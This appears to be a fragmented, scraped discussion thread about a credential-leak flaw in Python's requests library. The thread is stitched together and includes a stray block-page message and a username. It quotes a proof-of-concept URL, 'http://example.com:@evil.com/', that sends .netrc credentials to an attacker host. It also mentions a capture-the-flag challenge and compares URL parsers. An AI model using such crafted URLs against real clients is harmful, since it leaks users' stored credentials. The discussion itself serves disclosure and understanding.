>requests.get('http://example.com:@evil.com/')
>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call
Instead of having a url parse error it appears to drop the : and use the password:domain format.
That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.
Instead it seems to be populated with what seem to be Heroku API and git credentials.
1: https://requests.readthedocs.io/en/latest/api/#requests.Sess...
But honestly urllib sucks:
url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"
Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.
The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc:
machine localhost
login *REDACTED*
password CTF{*REDACTED*}
First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.
Sorry, you have been blocked
You are unable to access daviey.com
EDIT: I had the security in CF too robust, try now?
EDIT: I do appreciate you removing the solution. Have a great day.
(Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)
> Push code review advice from @sigmavirus24
The code already had `host = ri.netloc.split(':')[0]` before that.
The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone:
urllib.parse.urlparse('http://example.com:@evil.com:8080/')
ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='')
parse_url ('http://example.com:@evil.com:8080/')
[
"scheme" => "http",
"host" => "evil.com",
"port" => 8080,
"user" => "example.com",
"pass" => "",
"path" => "/",
]
dcrazy•8mo ago